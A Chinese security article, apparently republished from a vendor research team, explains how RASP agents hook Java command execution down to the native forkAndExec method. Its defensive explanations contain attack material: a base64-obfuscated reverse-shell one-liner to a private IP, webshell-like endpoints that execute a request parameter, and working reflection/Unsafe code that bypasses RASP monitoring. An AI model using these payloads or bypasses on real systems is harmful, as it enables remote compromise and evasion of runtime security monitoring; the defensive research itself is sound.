摘要

  • 本文介绍的是RASP技术在Java命令执行方法上的攻防对抗。攻击者最开始使用上层Runtime类实现Java命令执行,到之后攻击者为了避免被RASP产品检测,攻击者通过分析Java命令执行的调用过程链,选择调用更底层的类实现绕过RASP产品检测,在这个过程中,攻击者面对防守方不断进化来规避检测。

  • 相应RASP技术也与时俱进。从最开始的选择对Java命令执行上层的类进行监控,到利用JVM虚拟机提供的底层方法,实现对底层本地方法的监控,将Java命令执行的监控做到当前的极限。这种技术下可以有效全面的记录攻击者的命令执行参数,且不论从哪儿进行恶意代码利用进行命令执行,都会调用到RASP hook的方法,被RASP监控和响应到。

  • 目前开源技术世界中JRASP实现了该技术,商业的RASP产品理论上也可以使用该技术增强对Java命令执行的监控能力。

随着Web攻击手段变得复杂,基于请求特征的安全防护手段,已经不能满足现在的安全技术发展,而RASP(Runtime Application Self Protection)程序运行时自保护技术就是被引进来解决在应用服务层进行安全防护,尤其在Java领域已经具有优秀的技术落地方案和产品使用。

RASP在Java领域使用Java agent技术达到运行时加载和防护,同时对敏感特定的类进行增强,阻断传入的恶意参数,使得应用服务具有自我防护的能力。RASP技术使得在漏洞防御,0day保护,云应用防护得到了极大的保障,但是攻防在不断升级,攻击者在编写恶意代码时,除了基本的webshell免杀,绕过静态的webshell查杀之外,也会针对性的对抗RASP技术。

具体来说,在Java安全攻防中,核心的战略地就是命令执行,Java本地原生命令执行是通过java.lang.Runtime类来实现的,但是攻击者可以分析其调用链,来实现反射调用更底层的类,从而绕过RASP的检测:

上层服务常常使用的java.lang.Runtime.exec方法并不是命令执行的最终点,在调用过程执行逻辑大致是:

1.java.lang.Runtime.exec

2.java.lang.ProcessBuilder.start

3.java.lang.ProcessImpl.start

4.java.lang.UNIXProcess

5.UNIXProcess构造方法中调用了forkAndExec的native方法

6.forkAndExec调用操作系统级别

fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcess的PID

UNIXProcess和ProcessImpl可以理解本就是一个东西,因为在JDK9的时候把UNIXProcess合并到了ProcessImpl当中。参考changeset 11315:98eb910c9a97(https://hg.openjdk.java.net/jdk-updates/jdk9u/jdk/rev/98eb910c9a97)。

Runtime上的攻防

RASP可以监控Runtime类的exec方法,对其传入方法的参数做检测和响应,如果传入的是恶意的参数,比如建立一个反弹shell:

    # 为了绕过 java.lang.Runtime.exec 的限制# bash -i >& /dev/tcp/10.211.55.2/4444 0>&1bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMTEuNTUuMi80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

    那么RASP完全可以截取到传递给java.lang.Runtime.exec方法的参数,识别到传入的是一个恶意的命令,从而禁止命令执行下去。

      public class MyClassFileTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if(className.equals("java/lang/Runtime")){ ClassPool pool = ClassPool.getDefault(); CtClass clazz = null; try { clazz = pool.getCtClass("java.lang.Runtime"); CtMethod method = clazz.getDeclaredMethod("exec"); method.insertBefore("if($1.equals(\\"cat /etc/passwd\\")){$1 = \\"cat error.html\\";};"); method.insertBefore("System.out.println(\\"exec method parameter : \\"+ $1 );"); byte[] bytes = clazz.toBytecode(); return bytes; } catch (Exception e) { throw new RuntimeException(e); } } return classfileBuffer; }}

      这段代码就是通过Java agent机制注册的ClassFileTransformer去尝试transform增强java.lang.Runtime.exec方法,尝试在方法执行前加入一段RASP的代码:记录传入的参数,和如果参数为"cat /etc/passwd"则替换参数为"cat error.html"。

      ProcessBuilder上的攻防

      面对RASP的阻拦,攻击者可以调用更底层的类来实现执行命令,绕过对java.lang.Runtime.exec的监控:

        @RestControllerpublic class collector { @RequestMapping(value = "/hello") @ResponseBody public void hello(@RequestParam("cmd") String cmd , HttpServletResponse response) throws IOException { // exec command // Runtime.exec // Process process = Runtime.getRuntime().exec(cmd); // ProcessBuilder.start ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command(cmd); Process process = processBuilder.start(); // output int a = -1; byte[] bytes = new byte[2048]; InputStream input = process.getInputStream(); ServletOutputStream out = response.getOutputStream(); while ( (a = input.read(bytes)) != -1 ) { out.write(bytes,0,a); } }}

        此时RASP对java.lang.Runtime.exec的监控变为无效的,攻击者绕过了RASP。但是攻防对抗下RASP可以监控java.lang.ProcessBuilder.start,这个时候攻击者无论是使用java.lang.Runtime.exec还是java.lang.ProcessBuilder.start来进行命令执行都是可以被RASP监控到:

          public class MyClassFileTransform implements ClassFileTransformer { @Override public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException { if(className.equals("java/lang/ProcessBuilder")){ ClassPool pool = ClassPool.getDefault(); CtClass clazz = null; try { clazz = pool.getCtClass("java.lang.ProcessBuilder"); CtMethod method = clazz.getDeclaredMethod("start"); method.insertBefore("System.out.println(this.command);"); byte[] bytes = clazz.toBytecode(); return bytes; } catch (Exception e) { throw new RuntimeException(e); } } return classfileBuffer; }}

          forkAndExec上的利用

          一般来说RASP技术(OpenRASP)都会hook UNIXProcess/ProcessImpl类来实现对命令执行函数的的监控,因为这里是Java层最底层的类,也是Java层监控的极限,但是攻击者可以反射调用forkAndExec这个native方法或者利用JNI来调用一个自己实现命令执行函数的动态链接库进行利用,这里只讨论反射调用forkAndExec方法(注意forkAndExec不是静态方法,需要一个类实例来调用,而forkAndExec所在类UNIXProcess/ProcessImpl利用构造方法生成实例这是在Java层可以监控的,所以使用Unsafe类的allocateInstance方法在不调用UNIXProcess/ProcessImpl构造方法情况下生成实例):

          1.使用sun.misc.Unsafe.allocateInstance特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象

          2.反射UNIXProcess/ProcessImpl类的forkAndExec方法

          3.构造forkAndExec需要的参数并调用

          4.反射UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象

          5.反射UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果

            @RestControllerpublicclasscollector { @RequestMapping(value ="/hello") @ResponseBodypublicvoidhello(HttpServletRequest request, HttpServletResponse response) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException { String[] strs = request.getParameterValues("cmd"); Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafeField.setAccessible(true); Unsafeunsafe = (Unsafe) theUnsafeField.get(null);

            Class processClass =null;

            try { processClass = Class.forName("java.lang.UNIXProcess"); }catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl"); }

            Object processObject =unsafe.allocateInstance(processClass);

            byte[][] args =newbyte[strs.length -1][];int size = args.length;

            for (int i =0; i < args.length; i++) { args[i] = strs[i +1].getBytes(); size += args[i].length; }

            byte[] argBlock =newbyte[size];int i =0;

            for (byte[] arg : args) { System.arraycopy(arg,0, argBlock, i, arg.length); i += arg.length +1; }

            int[] envc =newint[1];int[] std_fds =newint[]{-1,-1,-1}; Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); Field helperpathField = processClass.getDeclaredField("helperpath"); launchMechanismField.setAccessible(true); helperpathField.setAccessible(true); Object launchMechanismObject = launchMechanismField.get(processObject);byte[] helperpathObject = (byte[]) helperpathField.get(processObject);

            int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);

            Method forkMethod = processClass.getDeclaredMethod("forkAndExec",new Class[]{int.class,byte[].class,byte[].class,byte[].class,int.class,byte[].class,int.class,byte[].class,int[].class, boolean.class });

            forkMethod.setAccessible(true);

            int pid = (int) forkMethod.invoke(processObject,new Object[]{ ordinal +1, helperpathObject, toCString(strs[0]), argBlock, args.length,null, envc[0],null, std_fds,false });// 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流 Method initStreamsMethod = processClass.getDeclaredMethod("initStreams",int[].class); initStreamsMethod.setAccessible(true); initStreamsMethod.invoke(processObject, std_fds);

            // 获取本地执行结果的输入流 Method getInputStreamMethod = processClass.getMethod("getInputStream"); getInputStreamMethod.setAccessible(true); InputStream input = (InputStream) getInputStreamMethod.invoke(processObject);// outputint a =-1;byte[] bytes =newbyte[2048]; ServletOutputStreamout = response.getOutputStream();while ( (a = input.read(bytes)) !=-1 ) {out.write(bytes,0,a); } }byte[]toCString(String s) {if (s ==null)returnnull;byte[] bytes = s.getBytes();byte[] result =newbyte[bytes.length +1]; System.arraycopy(bytes,0, result,0, bytes.length); result[result.length -1] = (byte)0;return result; }}

            可以看到forkAndExec这个native方法是没有方法体的,也就导致没有字节码进行增强,无法hook这个方法。

            Hook native方法

            面对攻击者对forkAndExec这种native方法的反射调用,RASP无法在Java层进行直接增强来监控该方法的调用和传递参数,这是因为native方法在class中字节码就是空的,是不是面对这种情况,RASP就无法监控和防御了呢?

            其实不然,在JVMTI中提供了一个方法setNativeMethodPrefix,可以用来设置native方法的解析前缀。

               This method modifies the failure handling of native method resolution by allowing retry with a prefix applied to the name. When used with the ClassFileTransformer, it enables native methods to be instrumented.

              在研究为什么给native方法增加prefix前缀就可以hook native方法之前,首先介绍Java方法与native方法的映射关系:

              Java无法直接访问到操作系统底层如硬件系统,为此 Java提供了JNI来实现对于底层的访问。JNI,Java Native Interface,它是Java的SDK一部分,JNI允许Java代码使用以其他语言编写的代码和代码库,本地程序中的函数也可以调用Java层的函数,即JNI实现了Java和本地代码间的双向交互。

              在Java命令执行中,Java执行操作系统命令实际上需要调用操作系统的系统函数(Windows平台为CreateProcess API,*nix平台是通过fork和exec函数),而Java不能直接调用系统函数,而是通过forkAndExec这个native函数调用其用本地代码实现的方法:

                JNIEXPORTjint JNICALLJava_java_lang_UNIXProcess_forkAndExec(JNIEnv*env,jobjectprocess,jintmode,jbyteArrayhelperpath,jbyteArrayprog,jbyteArrayargBlock, jint argc,jbyteArrayenvBlock, jint envc, jbyteArray dir,jintArraystd_fds,jbooleanredirectErrorStream){//...}

                (hotspot实现地址: jdk8u/jdk/src/solaris/native/java/lang/UNIXProcess_md.c)

                可以看出native方法解析到本地方法函数是由Java类的包名称和方法名称组成,这个规则这称之为:standard resolution(标准解析)。

                通过setNativeMethodPrefix函数对ClassFileTransformer设置native prefix,JVM将会使用动态解析方式。

                比如,现有一个native方法在标准解析下为:

                  native boolean foo(int x); ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

                  通过setNativeMethodPrefix函数设置了native prefix,且prefix为"wrapped_",那么解析关系就会变为:

                    native boolean wrapped_foo(int x); ====> Java_somePackage_someClass_foo(JNIEnv* env, jint x);

                    这是因为当设置为动态解析方式后,在不设置JNI RegisterNatives显式解析的情况下,JVM尝试:

                      method(wrapped_foo) -> nativeImplementation(wrapped_foo)

                      当解析失败,会从nativeImplementation中删除prefix前缀,继续进行解析:

                        method(wrapped_foo) -> nativeImplementation(foo)

                        这个时候如果想hook一个native方法,那么就可以通过ClassFileTransformer对类进行修改:

                        1.移除想要hook的native方法。

                        2.增加一个native方法,这个方法和hook的native方法除了方法名增加prefix,其他相同。

                        3.增加一个和hook native方法同名的java方法(除了native modifier之外其他和hook native 方法相同),其中返回时调用prefix native方法。

                          publicclassMyClassFileTransformimplementsClassFileTransformer { @Overridepublicbyte[]transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain,byte[] classfileBuffer) throws IllegalClassFormatException {if("java/lang/UNIXProcess".equals(className)){ ClassPool pool = ClassPool.getDefault(); CtClass clazz =null;try { System.out.println("start convert java.lang.UNIXProcess"); clazz = pool.getCtClass("java.lang.UNIXProcess"); CtMethod method = CtNewMethod.make("int Wrapping_forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10);",clazz); method.setModifiers(Modifier.PRIVATE|Modifier.NATIVE); System.out.println("add new native method Wrapping_forkAndExec"); clazz.addMethod(method); CtMethod method1 = clazz.getDeclaredMethod("forkAndExec"); System.out.println("remove old native method forkAndExec"); clazz.removeMethod(method1); CtMethod method2 = CtNewMethod.make("private int forkAndExec(int var1, byte[] var2, byte[] var3, byte[] var4, int var5, byte[] var6, int var7, byte[] var8, int[] var9, boolean var10) throws java.io.IOException { System.out.println(\\"exec : \\"+new java.lang.String(var3)); return this.Wrapping_forkAndExec(var1, var2, var3, var4, var5, var6, var7, var8, var9, var10);}",clazz); System.out.println("add new method forkAndExec"); clazz.addMethod(method2);byte[] bytes = clazz.toBytecode();return bytes; }catch (Exception e) { e.printStackTrace(); } }return classfileBuffer; }}

                          在这个ClassFileTransformer增加到Instrumentation接口之后需要使用setNativeMethodPrefix加入prefix,同时在MANIFEST.MF中增加Can-Set-Native-Method-Prefix: true

                            ClassFileTransformer transformer = newMyClassFileTransform();inst.addTransformer(transformer,true);if (inst.isNativeMethodPrefixSupported()) {Stringprefix ="Wrapping_";System.out.println("add prefix Wrapping_"); inst.setNativeMethodPrefix(transformer,prefix);}else {System.out.println("not support hook native method");}

                            可以看到这种情况下RASP已经可以监控传入的命令参数了,使用阿尔萨斯查看现在JVM加载的java.lang.UNIXProcess类:

                            除了forkAndExec这个方法还在之外,java.lang.UNIXProcess类还增加Wrapping_forkAndExec这个新方法,具体查看下来:

                            forkAndExec的modifier只剩下private,而Wrapping_forkAndExec的modifier具有native和private的属性,forkAndExec和Wrapping_forkAndExec方法的parameters和return类型一致,反编译出字节码:

                            可以看到具体的逻辑,就是把原来native的forkAndExec删除掉,创建了一个新的forkAndExec,在这个方法的return中调用一个新的native方法,也就是添加prefix的forkAndExec,这样不在影响原来程序的情况下,实现了替换,而非native的forkAndExec是具有方法体的,可以对这个方法进行增加,添加RASP的逻辑。

                            后记

                            RASP技术对Java命令执行的hook可以有效的检测0day的利用,大部分的恶意攻击目标都是在主机上执行命令作为后续攻击的前置条件,通过Java服务漏洞入侵,无论是webshell还是RCE漏洞,都会进入到Java命令执行的调用链中,只要监控的类是攻击者调用链的路径,那就能实现检测,并且通过函数栈回溯,找到利用漏洞点。

                            但是Java命令执行不仅仅可以监控和拦截攻击参数,正常的服务调用也会使用Java命令执行,仅仅只靠监控方法的命令参数是无法完全区分正常的调用和恶意的调用的,而且攻击者的命令调用会藏在大量服务调用命令日志中,增加了分析人员的负担,所以RASP技术不仅仅只靠对Java命令执行操作的hook,还需要服务其他信息,比如:查看当前线程上下文中的request和respond,通过web服务进行入侵的行为会将自身恶意的payload携带在http request中,结合命令执行中的参数和线程上下文中的输入输出,是比较好甄别出恶意攻击还是正常的访问。

                            附录--参考链接

                            https://docs.oracle.com/javase/8/docs/api/java/lang/instrument/Instrumentation.html

                            https://javadoc.scijava.org/Javassist/javassist/package-summary.html

                            https://www.jrasp.com/guide/technology/native_method.html

                            https://arthas.aliyun.com/doc/sm.html

                            声明:本文来自微步在线研究响应中心,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。